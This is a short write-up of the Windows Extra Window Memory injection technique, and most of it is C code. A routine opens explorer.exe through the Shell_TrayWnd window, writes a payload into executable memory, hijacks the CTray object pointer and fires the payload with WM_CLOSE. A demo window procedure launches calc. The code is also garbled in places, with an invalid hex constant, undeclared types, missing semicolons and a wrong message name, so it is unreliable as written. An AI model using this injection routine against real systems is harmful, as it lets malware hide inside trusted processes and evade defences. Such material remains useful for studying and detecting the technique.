
Extra Window Memory Injection
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).
Registration of new windows classes can include a request for up to 40 bytes of Extra Window Memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.
Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Code Snippets
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
// igone messages other than WM_CLOSE
if (uMsg != VM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2];
szCalc[2];
// WinExec
szWinExec[0]=0x456E6957
szWinExec[1]=0x00636578
// calc
szCalc[0]=0x636X6163
szCalc[1]=0;
pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
if(pWinExec != NULL) {
pWinExec((LPSTR)szCalc, SH_SHOW);
}
return 0;
}
Full Function :
LPVOID ewm(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
// 1. Obtain a handle for the shell tray window
hw = FindWindow("Shell_TrayWnd", NULL);
// 2. Obtain a process id for explorer.exe
GetWindowThreadProcessId(hw, &pid);
// 3. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Obtain pointer to the current CTray object
ctp = GetWindowLongPtr(hw, 0);
// 5. Read address of the current CTray object
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
// 6. Read three addresses from the virtual table
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
// 7. Allocate RWX memory for code
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 8. Copy the code to target process
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 9. Allocate RW memory for the new CTray object
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 10. Write the new CTray object to remote memory
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
// 11. Set the new pointer to CTray object
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
// 12. Trigger the payload via a windows message
PostMessage(hw, WM_CLOSE, 0, 0);
// 13. Restore the original CTray object
SetWindowLongPtr(hw, 0, ctp);
// 14. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}